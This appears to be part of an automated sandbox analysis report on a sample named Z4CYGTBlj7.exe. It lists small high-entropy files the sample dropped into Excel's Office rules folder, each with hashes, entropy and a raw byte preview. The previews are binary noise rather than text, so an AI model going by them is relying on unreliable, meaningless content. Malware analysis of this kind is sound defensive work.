Preview:	<?xml..J.8t ..9#..._.5.Z...;.....J....&...u;iR..!..'...w..'.H7.5Q...sJ.G...T...@mSDaK....?.2..IO.s.=u.R..Ss...I.0.=.#.WB.@=J.3.%..Fr..!...8.........?...-.rr<r!@1....w......L7.U.k......?....e.1.r.Qr.J_....V#N.X....t({.m..G..3.5.Bs........?..E.=s.} .T.&....O.......~y{}.......F..8=.c..{....qX...JC.q..e')2.S.u.+..sT.........8.^H.]x.Tq..q........yU..?r.a..EE./._...>..D.+2.{.U....vO...../.`....i.xN..J!c....bs......F...nV...&k...C..n...%..wG...!L.i.M`FV..[..<.....:.g0.<[.4.l..P....7....I.p..jv....MT,Fu...1A.a...3..f...]..J..c$d)....'0.....u.].z.#..'.xn..c;v.[.l..G:F.>)......J.K...0..~6.....b....5O.E;..G.`.0.P.8.~..0.........U.6&...%4q...M5........u....b..j`.c...`...a..+.K.0.H%.......+.(..boe.c.m..{@.u.T<Q{...2......y#..l.zC...u..H..Q.)G\|!b.3[.i.W...SZ..&;Z{./....m0U..k...\..D%M....4F...5....T\|6.`.Y....Q..D.#..x. (..e?.9!W"...R.#..A)..I...z.Gk...{.Q..]\. .i7....']9.q1..._...\....F.H.....!Pu....?/.Q9?.P%......WR7?..5.-..r.]..?K..?=..T.0e.7~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.881456738395235
Encrypted:	false
SSDEEP:	24:V/ukJc4PJ9dQH1QsUHxzMewuRlDdw6L0WqUZb8ViGh73hWsqIAKsxMDTCZRB7sBu:VWkJcSAO1bLRlS+0tub8n3hui5rmD
MD5:	46BD8F0C4EE23978467395A19E08C013
SHA1:	4A6654B5C1903ABDF294600F900ABD460382A5D6
SHA-256:	06498A371370547AC34F5A7ED65DA8F291F1B8D600D5706EC3AC6D4406C54A5E
SHA-512:	AC5679516FDD4457345B7ED0677FCC864953E2957EC3BE10C5625A6F693EF63AA1256735C8DEFD257C81B7372DF26086FBA3B42AA305EE7CEE8926EED58D0691
Malicious:	false
Preview:	<?xml.<z.5a.y..8.. .(..q.....<..m.. I.D....zD{...2.7.u.N........e..........~.}I.E.2..F..t......n.:..{%o.-..g.........T.C....~.....<.Q..........d"...o.q...]~N.E@...2....a.._;W)....SCF..J&.0.o1Q..C*1..C..[.~N......r.u.L7.!..}+..o:...[...,P...:.\|.>...Z...BX..CZ.=.. A.y.....J...xp..4~e.~..-Lh..+dj.#.7.#.Rmsgr.s../B`d>.O..c&g....C...#J....M.d.$...l +...._.. ..S..[...^7..C>..[T.........25... 'a...`NDaL..[.t.^.xf..@....U...y.....ka......Pk7..?.......>YdrS...V...\.i.c..CV.0....E.R?o+.@.XK.i..1..M."\|Y\'....\|.o..A.....'..q.L.c.V..4.F.-...+.I.^R2[.R......"...=\|.T.-..IqW.!X...s^_o.K.S..>....L..952.@W..4.r....'..Z.o.4........U..O.....L.7%s....^9._H....>.....M..M0....=]_.l..x/.o..,.[.&....c.".V4f..j..[. ...#..!.D.@M..........W....,..(f.%.]..n........So.b........FYZ..w.@2.8......k..kT$ ...+...9....u.p....-!..o...6...nL.1,.BY.'PU....z.......qi&a.7...?.E...7..U......~se.F5....6.....^.KV.....C.'.}...f....s..[i...nH.(.W.......F.C.x<Y...cW6.n7.i....W..\Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.8788022103657305
Encrypted:	false
SSDEEP:	48:cmy01ATG43dW2e5TRzHoidLQcSIPljCmD:cmH1MGOA/8itQq9W+
MD5:	522C593FE68B07DCA81D72D70EAD3F79
SHA1:	6D530CCB43DD3831BA14E2F159BA63075823B81F
SHA-256:	E54698DCCC84A8C51A17E1016AC0146C8C4A11113A25A851D9F30B1A2D3F6BCF
SHA-512:	9D4BD34682ED5F9B4D28934E797CD373AEBE0CBB659313512C366F73BDB86F8FE3441D9C546C4C5EF41FF3BF532B36DF8B782235CD93A8FCC9CF6ED129403BF3
Malicious:	false
Preview:	<?xml.;p.\|S.....{..N.V...R.E...+..z.b.F.`s7...G.m..l..)...#..c.......cj..~......va..E.V.....%.t..e...ZrG..9.'K.P...X.K..=.....\.^V....D.l...<6...~.V.g[.....R...k...f.....Zh...U...\|..H.v.xd.K%.}RR...Ed/A=....ml8....3...&N.}Fe..2..xv...".#..#....."..J..@tw.#.dX D.......l.X.tE.......=.C.5m..m...n.jLN....}dE.E......[..#+....A.r!..#..F.c.,.......q.>.5G.y.....!\h{...j...1..CO..26...I....^Qg/.....`......0.tr..O...g.f.%...B.......)..a....[...Y.B9_4;..~f.O.._....C.]}.P.-T..a.).....#N.F.9.Pq....r.R..['..5.3....=N;+..........}.....D. Ha.7.>RX.......+..`.S........~..n[17.S.......P.X.....-........}zG.......Fm..60.....9)`.L...J..R...vV..........qX...[$+.).]....y.]KuC.o........c...^o.k)...VB..........H/...k.k#Z..K..lx&..j.g.!.!"...l.#L..".......a.jT...7..'#C..t.I.X......p].F#..O....g..,.T..aL?.-....7.q*......wC.CdU4..^....].M.Z....M...6e...Y..or..h.g!..Qj-..Z........).{X2es.T......sP..cf.s>!.j..[8...D.....J.T.....L./W.4.V#E,3,...g..._.../..;..%Mb...N!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.88730563807798
Encrypted:	false
SSDEEP:	48:25xtBlW9c8Ct02TSjd6P2NPOgc1PoDCuGLq9mD:wtBlWe8CZ2QP2NPONECuyq9+
MD5:	D32D55F51C018F4478F6FAACF4E2E7C0
SHA1:	240AFEABA15803317CACEBEA66368620E423D45C
SHA-256:	49A35185EC496E24C2FBFF1B541C12BF13C40F4C690EABDA0419B8A2A0D9AAEB
SHA-512:	D9BB6C9AFB0782C6277DB8A93EE99D8721626DEDB0A0B0AD6AFBF2C9A449E14C6C0AE5C790CDBEB0F2BE93DFB66F961BD08BB61C9DEA2E2452CFA01D124719F3
Malicious:	false
Preview:	<?xml..N.H..X.h...V....C..g.:..Zc.....a.._K.]......./..j...Q.ds...7C#...OXd.SD...J.];j.%.rsV....V.e...lH6Swt...(...o.. ..c=.N./.."E..........T.R..~&gj...8...~t..A.....Q..d.p.i$.K.:....V..I3...M.nP.Z...Ma.....3b.H....EF...V#w..../..^).....K3..8F..c..........h..i..um@<...9...p...n..D.6..V.E.m......W..&...A\|.h...oD.......d.2..M.=../1t...fz.......OF0hz...P.\|..Z4..a.\|3...%.r2bNHL..l......M4....$~...r B..bUbF..A iD.I,..\|.X.C;+....a.f....O..;..#.C.M.T......5.. ^.b?...=G..m...F.(...,..O\@.....V..../a.U..k.CU..I...L...&.K..M.......X#.UKk.T..#..Ik}}Z...wh..e"h..o..n..(_....h.p.E..P........O..Z@..{.T..)R..#...e.Po..Y.j,../.'D.!.....x.M....N.25.s.....S[?.9#.".6..w..Z.........+\|..8...k....Z.p....0...X.....e..WF.......8.....W*.._...A.Z...Z.4..b3.7.5X.....H..O.:.y.q\a.m....z...j......}.t....O..$...?..[.oZ<.I.....h.1e;LV.....C...O<.x&.t.g.`f.X.y=..Jx.V.W..C.7-m.:q.(..R+.R,!..c..i..n..<.......U..;..bK.s..S.!..w.:i..K..#.... P..~&.Q.N6..i[c.kq..f..a.m&..B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.876727822663868
Encrypted:	false
SSDEEP:	24:zI4xx7ZZanh+qmKAI+j2lDI7E/5SBvZO0KvXx0ngDgsbD:zIk1ZSh+qXdXlDjUBR771mD
MD5:	120290AA6F0B20694C09FD6016E8F5B1
SHA1:	BA6436E7AD71E734AC5B5F3E3F923D3726143FAA
SHA-256:	1412B34BE4D280B45B84FC6FAB239CD24B7A4BCAB5A29A28E616F2EB711609C3
SHA-512:	D23C87A94B20071D9962372B2D84E22BF5864B795AF83AFB024C007571535CF30480303F5D3F59BA7D233D2FFEE1AE3357B95D897118FD84C2A5EC626CD125FA
Malicious:	false
Preview:	<?xml..q.cV...-6./..6..sW...8i.....qv.).Y.....n........NPRl~.ai.........>.....{.....~$..v.`S.6.......MW....\.avW.'....s......2.;^$...?.K.."..8...o.^hy.t.Pi...Q.Y.g.[\|......1..b...5....h..."...t...lald.....>.1$....&.~.;N..9.b.N<b.........I......w....8`f.(.5<%.c....F..](7.X..-<...}g...../a.6.$.'....e...]G..O.F.".S.#)......<7.cW..^.MV...MFYn.i..P#Y.B.Z.....2.`n........,i.R.L..bH.(qY4.. .{.Q....y.{.tf_9Y..;.d..:B.....S..P.c.a..8".,.^n[i&slQ..Sy";.PKQ..MRl.....GM..Q...M.>Z..^./%.Y<7.......qm.....=....'......u..z.A..G.W...JF.}.......c.v.0-!..]..4.3;+..\|.HD.a..O......B.$n.^T/......./.h....7....19...F.1tB.<w..............lZ.b.i;.,.[W...k..iyVc......o.}.Y.,=..G.L.=.X.j...q}..!Z.&R5.Ne......n/......^f...<...yt.h..'.q....y...r../..9%.v..g[.N.3..XQ..'.b.2$3,\p...fE.p.Q.T.B..>.@.cq.xYf.......8..^..L=7..z,.g1.S....@...)j...I.?3....V\K.z.._T<.[..6Q.......%$......@'.T.......?"..ua.SG\....p.2rT..D.b~..n.....9..4...1.m.jJ.......+..$Z...?2d..o...$p.rs,>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.888763760426365
Encrypted:	false
SSDEEP:	48:rPZwdCsS8uACPM2MnMbQ0gawv2yh/DU1AMYMlrmD:rPZwdT6Tgyyh/DIATMR+
MD5:	83F253BF2863BA429DDD6AEEA2EEFD52
SHA1:	484C42BCC7086A688FF094F7E8F70DDE8B6CD3E2
SHA-256:	08B8EAACB9D7395CD425D7689B59BBD29F66528F54D8EC7C5D22A17F029C85E9
SHA-512:	1BC131DC0E1B94BEA2B657332637C60EA9CDE9BB97588C22B6135449B4AD3AEC319CA25D734FD607E1C24667C4D52CFF2B9121BB9DB726820AD1A9ED7272039F
Malicious:	false
Preview:	<?xmly.......#{.Y..Hd.4KY..=....{?...b..G;.mrm(-.s.,.....W.k.\|o.....v....G.....]..gc..\|.....4b...!....5.oL..L.'~u"..M.}P.........6.Oxy]..p:..Y......_}.ue2..H.P..x.....g...6.w.t.zN....T.X.$,.-G..NE1....Q.z.B.8....SDX...&.:_....E.O?....+i..._`...7..1...E.7l....x......>38...S[#<......U..R..X..K..Fxi...i.......k..U.o.X......o.1..........p.q6dh.(..fI..B.....\|..6$.).......h...W.o2......8...E... \.Y..0.\....:C....]..N.4H..b.....%....o.4.oJ.o.'...A.I.Q...ph.N_..f.Cr...2r.'...T]5@..i..U....]Y/..I...7'..w.-d.R.....@../....v.zct..".1.\..;.5..E`vR..#]...\|.kn..XNM.\............x6...z........}5v....M."v>wgr.k}.@+...2p.......{;...v.......0.l....zB7.n.Y.xw...P..>.>.,.3..OW:l.`...=.r./..q..a.....D.....V&,.~.1IC..)OR}..[I....7.M....P.....su....I.........u...s....:..8.t........Rc.w.._.u..d=.867.l.]......0pQ.u..=...b.....Zno....c9.1J.L.CN.^.....[bYn[......MJke...2..Y..+.d.....R.../y..N.o..+q@.......J..8..~.c.M4E.v}I1*.?i....6."...2..d2..#..,..y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.904205688650433
Encrypted:	false
SSDEEP:	48:7OsrijLobtPblnHlEiZtn/Wds0guMusTMO9KiJmD:PrsitPbfEkOSbZhD9Kg+
MD5:	7E464CE7088B5732AC72A325F0390CA9
SHA1:	0BEE70F7C42ACAB26B82ACC7F5C5ABB92883482A
SHA-256:	D966D98E12844F69E25C2606BB222478354DF609033CAB6736C2FFA19704DE92
SHA-512:	EB73AD9C082CB9175998703F41422A23D03F21320251A005B1A1D25DDD2B427EBC16C9002965E9731D6B153D59363D04D65F0A7F6D421512F8BB23AD2D5343E5
Malicious:	false
Preview:	<?xml.7.vO.^...<L(xv.. ..../.8.7/.....G.q....&}59%..a.:e1<x.X.(%..6...........Q.j-N.o..p.Lc..R....b..h ...h...Q..iYT....N.5.k......oQ...rO...(c..b.M....-w<..l..._.Y.n>..s...p.g......2.AR.C..B..Z....k.....1.u..ZdY..U.3.A....>~8....j.X....C.."."..<..+..j..)^./K..F..~U....)..M?..G.:`m%n.U.b....#F\|$:./.U..Lhht..P.....LE....7.u.6.(z..N.p.$9....r^....,.p.FF-%......+MT..0..R...x"..s.q.y..:)....dA.I.S.$.H.NO..(.q.`F..l..".11..lE.FB.#...$"!..S....:.EH...+_...P.\......Vs.g..s~..t.u..^.Dc.e..R..!T...U..d..r....<..(.[5B.........r...=.f\|.)Yj.r..>.......S`^1Z........U^.d!.. .(."...l.Q.`@p.mY....%...d"D0...U..9.+..v.h..i.1'-C.....J.S.E..M....M.......Tw,B8..ML.M...j..X7.`..!.,0....`.H..........!.`..qPw.j.IS._.0..@b.........Z&.D.!GM......Q.O;..~f\|j....T....g7Zc..=......WstN..=.W..1x.\.jjWe/...i...o..pvb..AT=+...=.]8.S..%.JB".gz...u5[...W.E...V.=.+U..Yq..al.....}.T..@...).N............+INIVAg..f..:7.gqY...o%Y7F......P...O...{~s...l3....7.:2;.)..t.;..Nw

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.887488555236181
Encrypted:	false
SSDEEP:	48:QRXTegw9cRQvl7VsmqHKQeg+tQhqG6PH2UbQjmD:Q5g9cINy5HKQeg+TPWUEj+
MD5:	A6ABE151FD8C09693B4EF013BFA8A46C
SHA1:	039120A8EA7BBAC1A238B02D63E9DE8ABFD1BC8F
SHA-256:	D595F9FCDE3D868E4B37CFDF73B56208CEE5793B1C0F1448D3DF98262BD9D0E4
SHA-512:	3C76507F0731EA5697AB1D221B038D0420D0175E126E4C8BC5BADD205E18E85AEDA3348707DD6353A135A8A9B4D713D11A142BB7E7759C1B7AB1BECF957F2FBA
Malicious:	false
Preview:	<?xml..N..0...o..V.Y.x0..h;.P^..p.J.\|..M.~3..@.....v..&..'&.8`..s.t.Y.S....7.+.U....;w.JW.V.....'........:....=V......]p..:.2.VPl....X..{...^..\|...Ly)8~..B.Up....:_aC.....-..F....V:.K...9l....-..,.k..>...........)Z...~Q.!..cE..U....;8..U+.-8ZklL..X.bQ....'E:.$/.\.x_.G.T...HK.g...2.L.9.Q.....d.-x....9....\|G%.....8..Nk465Lw...Y3..T0nj.#...]lw8...K..$..33}8........n.5.....(....e$.M..n.......N..93W....hJ.M.u.P.C`08..s[\...c.#..j.^M..;....2-<...k.^.l.c...n`..F.r..S'4h+..y...a..)...i....).o'...S....C.."..J..r.b....g7\.u.......c..F.....1...lU.q.)f.qO5...._.Z.'4..7..&.j...^.j,y...2c..i.Pc.B.X...z..OW......K=...8...d.K...)...P..+....L_...;...=.5 c.],.N...!..K.......$..j..3.1".......Q.Q...<.u.5.....V..\c{.....U.4..B.z..O....u..Zi..P..C..GmE..Z.;..g..J.}.r...DZ.x7J....=.)..:#\....}.....J....p.....z.'..........."{..f9.]BeV._E...-..g.{a7...~.."#`...y\...k..f...8....<ih....f=....`.~....._..9..<5..f....u...G..&.t.d.rA\.J.,...H.,....r4..y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.8568909916371865
Encrypted:	false
SSDEEP:	48:uRIzQg9sq9MxIIGXnk8roXP/fWk7yI+emD:9N9sqm6TziF7vn+
MD5:	A790132D2738F2D0913365A27E2B03CB
SHA1:	20A4B7E82D3BB0A6F77D88291EF706B4F1D33611
SHA-256:	12B548CA019A81431070387B72C8890A2CA150B1C47F6504DFCABC372B83EDDD
SHA-512:	7C7985638B183AF0DDA7993345A1F0723BD85DE3E3453454B3BE610F241AB325B8988EA4408244D3F547393A28746A2F806F32F1E53F74FE3C2335038D20DC57
Malicious:	false
Preview:	<?xml....8nxy.-.>.d...V".AD..+Pm..%..%...<l..@7./.....L...y..v..R5.9F4.0..>Fb...9f.....o.ns(..<..../.u...E...4......V......._ .t30..z$.....W.1.R..b^.`......,.?A.X.......l.8....7)..s+.ZC....@.ii.<+.:\......pSD....i.zt.H].Ln...'....b.-./....t,....g.6A.......~...`._..\.Uz..5...!.Z.X...6e.U.}..n..=t..H...^/.5...O..`:{+....._.3..R.....+..G4d$qN...6...R......`..&MJ...p.W..I......y.'...U..n.s.}.[\&.......FD...5$.[..xV.&.O....u&o.K<aH..Qu\..?..7..!.{.....P..1..vtd......t.._...x.[4..bwN...F..X..H...^.f}5..z....>1..}.....'ej....5.FO.hc.Y.z.lz.....2N..{.).:CzTYz...\|..L~i.....I."../3Me....i.R.wp8.@....3G..-.4IGX]J._..2~.r.............2l..(.X.+.osJ.C-.i<&p.=..z..F8..%....X.-%.N.N\|;.H1.......i.`I.?.6......[M=.'f.v....O..b.iZ..e.KL.."..........@..Yo..\..G..\o.P.L...d..Z..z..-{U.L....s....31N..ze.D...........u...G..eP.T.4.G.z.......WEZ`..ya....F.p.K.#0....3ig.*.fN......z..Mp.../.@.....^.F.H..:....n..U..Wz.6..s...#.A...&......77.+......W..u..g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.890732238353012
Encrypted:	false
SSDEEP:	48:0rHFz29zR133zwVgDpppKbgtViMrd8mx6N3zALmD:0rlkdViM58m+8L+
MD5:	7233EB044596F3E6487617EC58F37F37
SHA1:	DB10DCBB5CA1366A93B1EA66158D0AF6D26C1DD4
SHA-256:	169B24AFC1DA7C5BEBFFBE01B5BD51F2476A90C88314FA15AE7F682B3F151F46
SHA-512:	4F0A0F19E3A268C25CC2130027CFCA0FAD19F34AC60FFEB58C554B5113A1C358D52F84EEFE40915247144C1D2B5147A9B22DB27C7271D0EDBFAD5906E44F7D54
Malicious:	false
Preview:	<?xml..mhx;...!...p^..L.......;I..LQU...dW.P4..A....T......&!W.e....`wH.B..5.H:.v..@........E.A6..y.pVJ.BY.D...R..P?...Aa..DR....0.O)u6%+Lf\..N6h...wM'0V&d."}..'.k.\|........[..L.+..L.....yjf.T..?b..;.{.rW..f...B.;.......2...%^t..~6..s\.Y...d.:.....>..Z/..6.g.{:..A.:.m.\.1.C..9.t...-.'T.}.....{.F.7...U.^..%....{.R..,E(..[.4..i._..p.gE..g..5.S.../ ..r.5.l+2..Uj.3._c... .....hK.l+...W.s..#?nv.........`.}..:...@...e{...........~..z......8......O...[iF&Q62..om.t..........0b.V;.&......Z......p.d%...d....?.?0Wx3..2e.Q/..Hox...[nc.IE.5LRx.$?x..;.di=.. @vb.t...9.E.........~..A.iN.MP..g.]V.f@.... .#.L.J....Yf.'..#^Z..o.4P.AD.(~.s.b....j..gj.!...f.....4..t........un.k[......5(. .2g.Y.><F..s...4..p....@(.u.";4.....Q.......i......u..he...9...H..E.5.<).+<\|.m....5..Q/K...5.j.U.d...v.-.~...6....h.C.....EXo...g..r-U.Q..<x.....[..G....... .........i....:\|.x`>32........uUa?.j.dD...8.=.........\..C\|.4..G.....}..4..#7..u.._.rp..'.y....K.....J..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.871293366248291
Encrypted:	false
SSDEEP:	48:KPMbnFEQsxstkZGf0+1y7tR4PV+Aice5+mD:/FE9MkI0+1GRO/icH+
MD5:	DC6931D281CC926FAF2B0BB3083FD8CB
SHA1:	DC9FE7FDF3F8F9BB17C9A129B8F75EF9209DFED3
SHA-256:	43E3076DFD922AE723C9DA7D23B1D6648E2861B3DD69E3A3A4A80F3EE376435E
SHA-512:	55DBA8AA8E6E464D49E91EB21C41316B59EE9D2703EA246F30D4ECEB521B09935A89887ABB9D53F9FA97F9B57F9836147EF756CE642A42245DB03B3402F7713C
Malicious:	false
Preview:	<?xml..H..a..(':..,.Z...Xn\.vo...e..QH.&.S-./....hZB.D?j......8.....}..[..I.\|bQ.g).....Jg.M[.1..,?..7....n.nk$..?...&.t39.A.]EY.[.0<:Z...0z.c3].{iQ....~7....0.4.DU.k..k.]=C....7.I1Ze...h..;.5H....PA..Q.p.0..t...".&.`c...`.8..1i .$.s{...... ...W.3.A.v. ]....a.\....k..p...q.P.;;..........\|M....Bi[.....?......M=............O2...D..9.n(......}.....RA..:N.rt....o....).....p..U".Lw....\|.n......=.....4..7S..u`....I..K..q+...D..Hoo?...7W.....\|k..a...]....~..CX.(..Z>.A)0.7SWov..:..sY}.....j...5...R..W.v.N...._}V.......-..j.?.i.\T..."....}..x."QNJ......{xu<....V.../'.+..n........Yy....)p..y..;...<A./n...;x#.~.!(.u...B...$.wp.d.....r.V?.(.$...;i.s./.I&.P.b.=..g~b2.av.t> 5.....S....7...W..v...Q#a..y..I.}....T.J.Z./...v\..=FM..tB.....E^Qou..~>.so..+R\|(`....\...T...=x~.!.:........t..,SsQ.e..Cn..nsn3..f..~...4.9.`.s.m....y....D.C&uh.1.......j.\|..h:./.0.......:....TQ.X.]....J.....i.T..{0......x.!a'.t..Q9.xD"x2....=....8...0..n......YN=.B....b..,w..^..0F.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.861195829789471
Encrypted:	false
SSDEEP:	48:KC5b7OX9Ez83Znqu5u34WCma7I9gZEKnc/FiomD:KC5eyQu67U6EKnK+
MD5:	81CE14EA69393F1A845D40B87F726049
SHA1:	6C3A6039E702C5333C79DE163C061EDE3AE44561
SHA-256:	C0DE8F706C5FB296E1539268ABF51C3A560199936B5EB20B5365D0871F398EBA
SHA-512:	66DB251F65994C5B332783278A3B4063A7DA9B325A89330926B982DD193ABD181EEE0B91F599F8C9D6A0A0BC81536493102299FC2BB76D15B8DC249D7D528CCB
Malicious:	false
Preview:	<?xml..1nm...p82..\|~)..C..p.?+PA....Av..^HK<n&..6..("L.....i./.sv.Y................QR.[.3..]..E.\|k.........z.(.........8\|.%X..H.N.}..!.......3..0.......@.i...^.hm_....b.Pi`.Rr.P.@q.}]v.F::r.-m....QU.>q..y\q....e?.D...u...>J..`......8$..K..-~...{....7...(.N.....F.yZ....`#..-2Jz8*Q...jc..)ri+...e.9Y..m....j?...'.(?..y.F:3SB,...N......E.Ct...#Zt7Is5.m.{X.%>.]+P..E.)O6...C,..He..X.e....f@.k....Y..7..)...21?:...j&...02..E.3...S...9oS...Yu.\n.T>...6.]TYPzu{.....~.K..G...-r.hN...V......1.....{.G.....LVO.q..m..\b..._.wobA...akE...A../......O.+T' .......B.......$...l^m.\./.......W.k.s..0!..'w..[.(..L.%....m..g..Rn{.H.o..&...y...B..N-Q..kE.,:..~..Z.~....I...}.....>.IA...q.I.....Qm..."hA....9_.8..;......yu~..b....Q.).'...@1..M?..!.O...J...yt;.`..4..m.N..k..@..kk....}.O.^.ex.v.I...(.S8...Y.5.....^.s'..<..1...?....w.-....._.........."....W...d<.1n-SZ..N..PQ.=xR..^Y:.1..t.....m..k..paZ>{a....!+..Uj.L.37..~X.6..z...a]m....K1.m..C.....>.....C...Q.2\..)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.891346567545652
Encrypted:	false
SSDEEP:	24:MvqlHdNYl7P8aBpJbQoK0lMpXAHi0NZGETHrXn6KdopreAiB/uhCsbD:MvqddqlVXJbQoKsiXA1NUEf6KKrMu0mD
MD5:	9E046279932FD5DA5CB3BFCDD12D1AE4
SHA1:	9F65D039BCE6834D01EF1654BABAB563E8709BF9
SHA-256:	20209D65B7EEF96B4F64F988078C9CF61EE3C921EE76F4EA533B96F17CABA133
SHA-512:	96DA1AABADF75E391E70BD4020790CD67408D4A3252E86006AB5AB26FF51F7BFCD7CDF7236C36E2CCFCDBFB0AA1B4F8293D4AB648C01A09C09FA63ACF24B8925
Malicious:	false
Preview:	<?xml.9.a._..z.T.;iP.9,a.._.~..hv..4<R.j.u..;#.d.A..>q..@.Z!..[..C...p..".<.<.1.N...r..U......-.v"5^.<;D.....;...A.!\|.t....7...k...F4P.}...].{......g.b...a.!!W....<c.b..;#......1QW&y."...=]x....P.bV>...v...9..md....Xk...&>.l.&.n.>. .1.....R.Q.aq....\|... I.m.D.PM`...5!7.G~I(.n...7B...S.eBj.9+.`./...".\|.].X.?...J9h...e...vJ."S.rt.....7....P...d....&.&F@O..!...L...UC...JL..b.<joZ#7c^...A:K.)...3.I....e^..`.!./..uX..p.......Z.......qd.5jW.....c.D........f5....!.].@..v...SkF(.c..j.n..d...U......n.t..+.Q.Z_..$b...h....c..x..s.d.3)..`....6:..:^n{......H'`..!T..i#.);..).;..../..5..m.v..........PB=.Q...>.`._.....B.8.r.....u%j....t.`..K%.l.{.......H.V<}I..2..-........a..y..6..rq..R.\|..7@5..n0....w*.fR.?.C..zSj%2..e.i.7b.......R.......o..mB...0......%.8.g.Je...}.)l.e.....89E.....j.pD....-.E.....")m .[V.4..G]U...\..Ef......)[.lAA....^M.....~&...VR.{.}KVg...XM..m...)>.....Wd.h.W.(v:U.....y.x.~.&A...V.?.{..)...,........\..X}.m.._...x??.C#..../...x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.880027117516428
Encrypted:	false
SSDEEP:	48:DsboO5R4rM5ty+fTuDwiw7B9Px/wyq+3PpD+smD:gMprM5tyUTFv7B9Px/ww3xis+
MD5:	CAF3615B37C91DD954871466FD05CA5E
SHA1:	E6AF50F878B94BF0078F73A17B3BD40A34C5FB11
SHA-256:	2C2455E82E7211ABC30C87ECBA6037A9C08714C6149747BF018B9CF2065A7F92
SHA-512:	5D8F491E1CFE0818A19242A73A83C9C161B570806580EB84AC94EA639041F5E608EF631B01BC7403C8E4857F24C8C76F391C24390FE54237EA880ECB177DBCC5
Malicious:	false
Preview:	<?xml..8..T..?S.16r...B...$..............U.D..........-..U....)4V.b.o1.E .R.....6.'...p.B....w......zWO...]2^./....R..202KWK.g...p.g%..8P..K..I$\.rK.......4KC.K.......E.......y.WA...1r..6..<.l.....B..p.[.A....}(H.gP]....u.1..5).j.pR.q.Q.F..C5........9..Nc.v...........[]..8...bq._.......[8..W............?\......f.{~h..4.T..cB.D..QL.^.;..o..Q....Y..b....(....~.....^.3cE.[ ....1Q.;..U.h]l..y..`H....-I......kg-..4.Xk...n(..2.B..NA..-..&.A....&H\..O..1.n\.G%..F..c..~E.L.c\|9[Z`.KLmn..%..w....A.J..\|.D...,......... ..h.m^.5..:.NR.{'o-R.._SZ...1..5...)....a9.......`....O....a.=.t.H9k.F9..S....9>.x......e`..>%.A+...}.........f.......X...'.:.....F.@....hy3......D`9.2...~......#wi....l..Xog..i.....!..L/a.m..m....'s...]L..?+#..\|\w./5._.V..$F.........".vD`.H..i.6h.@..8.b.}.5..n.2\|k.z....5..7....P..vhie.......`.1.4.4..8[.]..(.~.y.9..l.....'.I.D.N._.9...y.~..dSm.;j\.3I..6/......^<$..(.>....t..~K.`...G8k.`...[..y............}.3uS..X]...X...=.p-v.b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.881148608697292
Encrypted:	false
SSDEEP:	24:xRtypZS4Vtur3MHikY377uKF3gseO41u9vV/VrtjlSLjoAJYzPfuAhWXH6uCBf4C:xRIpAVr1R7Z3R4uTTpQABQa9UmD
MD5:	5174DE5D7A8C9746F4792A17C3C36327
SHA1:	FEB00A68E4D66C1E7B00BA6430299BAA0DA0D906
SHA-256:	A90CC29FF499F5FED7AF5B52C9309CFAD757A8572A42837DABCE5F876A298BB0
SHA-512:	13641F7D102D6C1E011790D666C0DA4609EEC46FB0E4818990D0943F1C03D12628CB8375B4A9693D7BCF99DED1D126505B39956AD19F7B2D5373332A9D7B970F
Malicious:	false
